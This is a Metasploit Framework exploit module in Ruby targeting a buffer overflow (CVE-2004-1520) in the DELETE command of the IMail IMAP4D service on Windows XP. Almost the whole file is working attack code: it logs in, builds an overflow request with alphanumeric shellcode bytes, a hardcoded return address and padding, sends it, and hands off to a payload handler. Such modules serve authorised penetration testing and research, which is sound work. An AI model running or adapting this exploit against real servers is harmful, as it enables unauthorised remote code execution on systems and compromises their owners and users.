metasploit-framework/modules/exploits/windows/imap/imail_delete.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,
'Name' => 'IMail IMAP4D Delete Overflow',
'Description' => %q{
This module exploits a buffer overflow in the 'DELETE'
command of the the IMail IMAP4D service. This vulnerability
can only be exploited with a valid username and password.
This flaw was patched in version 8.14.
},
'Author' => [ 'spoonm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-1520'],
[ 'OSVDB', '11838'],
[ 'BID', '11675'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 614,
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
'StackAdjustment' => -3500,
'EncoderOptions' =>
{
'BufferRegister' => 'EDX',
}
},
'Platform' => 'win',
'Targets' =>
[
# alphanum rets :(, will look more into it later
['Windows XP sp0 comctl32.dll', { 'Ret' => 0x77364650 }],
],
'DisclosureDate' => 'Nov 12 2004',
'DefaultTarget' => 0))
end
def exploit
connect_login
print_status("Sending overflow string...")
req = 'A683 DELETE '
req << payload.encoded
# Jump over code
req << "\x74\x32\x75\x30"
req << [target.ret].pack('V')
req << rand_text_alphanumeric(44)
# GetEIP code
req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"
# Alphanumeric jmp back (edx context)
req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"
# Run off the stack, so we don't kill our payload, or something...
req << rand_text_alphanumeric(600)
# Terminate the request
req << "\r\n"
sock.put(req)
handler
disconnect
end
end